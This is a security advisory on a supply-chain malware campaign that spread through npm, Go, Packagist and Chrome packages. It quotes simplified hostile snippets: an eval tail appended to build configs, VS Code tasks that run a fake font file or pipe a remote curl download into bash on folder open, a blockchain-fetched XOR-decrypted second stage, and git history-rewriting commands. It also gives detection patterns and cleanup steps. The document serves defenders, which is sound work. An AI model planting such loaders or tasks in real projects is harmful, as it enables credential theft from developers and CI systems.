CVE
Not assigned
CWE
CWE-506, CWE-94, CWE-494, CWE-200
Affected Surface
162 malicious artifacts across 108 packages and extensions spanning npm, Go, Packagist, and Chrome, Named npm examples include tailwindcss-style-animate 1.1.6, tailwind-mainanimation 2.3.3, and tailwind-autoanimation 2.3.6, Named repo and module examples include github.com/Xpos587/git2md, Xpos587/markfetch, Artiffusion-Inc/mirofish, and 7span/react-list, Developer workstations, CI runners, and VS Code environments that installed affected packages or opened weaponized repositories
On 1 July 2026, Socket disclosed that the PolinRider campaign had expanded from its earlier npm-centric footprint into a broader cross-ecosystem compromise affecting 162 malicious release artifacts across 108 packages and extensions. The new count matters, but the more important technical point is that the operator is not inventing a new payload family for each ecosystem. The same small set of execution and anti-forensics tricks now appears anywhere the attacker can obtain maintainer or publishing access: npm packages, Go modules, Packagist projects, and at least one Chrome extension.
That makes this less of a “bad package” story and more of a developer-environment compromise pattern. Public reporting from Socket and OpenSourceMalware shows the same four building blocks repeating:
- append obfuscated JavaScript after legitimate project code
- hide or trigger the loader through normal developer tooling
- fetch a second stage from public blockchain infrastructure
- rewrite Git history so the malicious change looks older than it is
What is publicly confirmed as affected
Socket’s July 1 update confirms the broad campaign counts, but the public named inventory is still incomplete and expanding. The table below focuses on artifacts and projects that are explicitly named in the available reporting.
| Ecosystem | Confirmed affected package or project | Known malicious version or state | What is publicly confirmed |
|---|---|---|---|
| npm | tailwindcss-style-animate | 1.1.6 | Used as the malicious dependency in the weaponized ShoeVista take-home project cluster |
| npm | tailwind-mainanimation | 2.3.3 | Tailwind-adjacent impostor package; later replaced with 0.0.1-security |
| npm | tailwind-autoanimation | 2.3.6 | Malicious package with payload appended to src/index.js |
| npm | tailwindcss-typography-style | 0.8.2 | Publicly tracked as malicious in the same package family |
| npm | tailwindcss-style-modify | 0.8.3 | Publicly tracked as malicious in the same package family |
| npm | tailwindcss-animate-style | 1.2.5 | Publicly tracked as malicious in the same package family |
| Go modules | github.com/Xpos587/git2md | malicious published module release | Socket explicitly calls out the published malicious Go module after repository compromise |
| GitHub repos linked to Go wave | Xpos587/markfetch, Artiffusion-Inc/mirofish | compromised repositories | Used as public examples of the same operator and loader-hiding methods |
| Packagist / Composer | sevenspan namespace | 10 affected packages in total | Public reporting confirms the namespace and campaign count, but not the full public package-name list |
| Packagist-linked repo | 7span/react-list | compromised repository | Named by Socket as a concrete indicator tied to the Packagist wave |
| Chrome extension | one unnamed extension | active campaign artifact | Socket confirms one extension in the 108-artifact set, but the public July 1 post does not name it |
The asymmetry in public detail is important. We have strong confirmation that the campaign crossed ecosystems, but only a partial named inventory in the public reporting available today. Defenders should therefore treat the named set as representative, not exhaustive.
Config-file injection is still the primary execution surface
The oldest PolinRider trick still matters because it looks like ordinary frontend plumbing. Instead of adding an obvious postinstall hook, the malware appends code after a legitimate config export in files such as:
postcss.config.mjs
postcss.config.js
tailwind.config.js
eslint.config.mjs
next.config.mjs
vite.config.js
babel.config.js
The visible shape is simple and effective:
export default defineConfig({
plugins: [tailwindcss(), autoprefixer()]
});
// malicious tail appended after the legitimate config body,
// often padded far off-screen with whitespace
global["_V"] = "8-st14";
var MDy = "...";
eval(MDy(...));
This placement matters because the code runs in a file the build tool already imports. A reviewer who checks that the “real” config keys look normal can still miss the appended payload if the malicious tail is hidden after a long whitespace gap or only shows up in a diff with horizontal scrolling.
The newer variant turns font files and VS Code tasks into an execution chain
The July reporting also confirms a newer execution path: the JavaScript loader is stored in a fake .woff2 file, then launched through .vscode/tasks.json when a developer opens the folder. That avoids the telltale “malicious code in a config file” signature while still keeping execution close to normal developer behavior.
A simplified public-research shape looks like this:
{
"label": "sync-config",
"type": "shell",
"command": "node public/fonts/fa-solid-400.woff2",
"runOptions": {
"runOn": "folderOpen"
}
}
Other observed tasks use remote bootstrap commands rather than local fake-font execution:
{
"label": "environment-setup",
"type": "shell",
"command": "curl -fsSL https://default-configuration.vercel.app/settings/linux?flag=<id> | bash",
"runOptions": {
"runOn": "folderOpen"
}
}
That means a repository can now be dangerous even before a package manager resolves anything. Opening the folder in VS Code can be enough to start the chain.
The second stage is a blockchain-backed dead drop
Socket and OpenSourceMalware both describe the same broad loader architecture: the local JavaScript reconstructs itself, reaches public blockchain infrastructure for encrypted payload material, decrypts the response with embedded XOR keys, and executes the resulting code with eval().
The execution flow can be reduced to:
const tronPayload = await getJson(
"https://api.trongrid.io/v1/accounts/<wallet>/transactions?only_confirmed=true&only_from=true&limit=1"
);
const aptosFallback = await getJson(
"https://fullnode.mainnet.aptoslabs.com/v1/accounts/<address>/transactions?limit=1"
);
const decrypted = xorDecrypt(encryptedStage, "2[gWfGj;<:-93Z^C");
eval(decrypted);
require("child_process").spawn("node", ["-e", decrypted], {
detached: true,
stdio: "ignore",
windowsHide: true
});
Several details are worth calling out:
- the local package or repository payload is only the loader, not the full malware
- public blockchain data is used as a dead drop for second-stage retrieval
- XOR keys are embedded locally, so the loader can reconstruct executable code without contacting a conventional malware domain first
- detached child-process execution lets the second stage survive beyond the original build or editor action
Observed follow-on payloads publicly associated with this loader include DEV#POPPER and OmniStealer. OpenSourceMalware also ties the broader chain to BeaverTail-style follow-on tradecraft. The safest wording for defenders is that the loader is a reusable execution substrate, not a single fixed payload.
Git history rewriting is part of the malware, not just a cleanup step
One of the most operationally important details in the public tracker is temp_auto_push.bat, a propagation and anti-forensics script left behind in many victim repositories. The script rewinds the local system clock, amends the latest commit, and force-pushes the rewritten history while preserving the original commit message and timestamp.
The core logic looks like:
git add .
git commit --amend -m "%LAST_COMMIT_TEXT%" --no-verify
git push -uf origin %CURRENT_BRANCH% --no-verify
That snippet is not interesting by itself. The important context is the surrounding logic:
- read the original commit author, date, time, and message with
git log -1 - set the local Git identity to match that author
- temporarily change the Windows system clock to the prior commit timestamp
- amend the commit
- restore the real clock and force-push
In practice, that means the default GitHub file view can look normal while the Activity view or reflog-equivalent evidence shows that history was rewritten later. This is why ordinary “latest commit looks old” reasoning is not trustworthy for this campaign.
Why this belongs on AppSec and build-security dashboards
PolinRider is dangerous because the compromise point sits exactly where developer trust is highest:
- build configs
- dependency installs
- editor automation
- repository history
- maintainer publish workflows
Once one of those paths executes, the attacker is operating in the same context as the developer or CI job:
process.env
.env files
.npmrc and package registry tokens
GitHub and Git credentials
cloud and Kubernetes credentials
workspace source code
IDE and editor settings
This is a strong example of why “no suspicious runtime behavior in the shipped app” is the wrong security boundary. The compromise happens before the application ever starts.
Detection and scoping
Start by hunting for the public file and loader indicators:
rg -n \
"rmcej%otb%|Cot%3t=shtP|global\\['_V'\\]|global\\['!'\\]|_\\$_1e42|MDy|TMfKQEd7TJJa5xNZJZ2Lep838vrzrs7mAP|fullnode\\.mainnet\\.aptoslabs\\.com|default-configuration\\.vercel\\.app" \
.
Search for the VS Code task trigger and suspicious fake-font execution:
rg -n '"runOn"\\s*:\\s*"folderOpen"|\\.woff2|curl -fsSL|wget .*vercel\\.app' .vscode . public static assets
Search package manifests and lockfiles for the publicly named npm artifacts:
rg -n \
"tailwindcss-style-animate|tailwind-mainanimation|tailwind-autoanimation|tailwindcss-typography-style|tailwindcss-style-modify|tailwindcss-animate-style" \
package.json package-lock.json pnpm-lock.yaml yarn.lock
And if a repository may have been modified locally, inspect for Git-history tampering artifacts:
rg -n "temp_auto_push\\.bat|config\\.bat" .
git reflog --date=iso
For GitHub-hosted repositories, review Activity and force-push events rather than trusting only the current branch view.
Response guidance
Treat any installation of an affected package version, and any VS Code open of a weaponized repository, as code execution on the host.
- Preserve lockfiles, package caches, Git metadata, and editor config before cleanup.
- Rebuild affected workstations or CI runners from clean images where possible.
- Rotate every credential exposed to the host: GitHub, npm, cloud, Docker, SSH, CI, chat, and deployment secrets.
- Audit repositories for hidden
.vscode/tasks.jsonautomation, off-screen config tails, and history rewrites. - Re-pin dependencies from known-good lockfiles instead of re-running floating installs.
- Re-scan repositories that were “cleaned” earlier; public reporting shows the operator re-infecting prior victims with a rotated obfuscator.
The most important lesson from the July 2026 PolinRider expansion is not that the campaign reached 108 public artifacts. It is that the same loader, the same execution paths, and the same anti-forensics strategy now move fluidly between ecosystems. Once attackers compromise the maintainer or the publish path, npm, Go, Packagist, and IDE automation all become equivalent delivery surfaces.
References
- Socket: PolinRider expands across open source ecosystems
- Socket live tracking page: PolinRider supply chain attack
- OpenSourceMalware: PolinRider technical dossier
- CyberPress: North Korea-linked PolinRider campaign hits 108 packages and extensions
- Developer Tech: PolinRider expands to Packagist ecosystem
- GitHub repository: Xpos587/git2md
- GitHub repository: 7span/react-list
- CWE-506 Embedded Malicious Code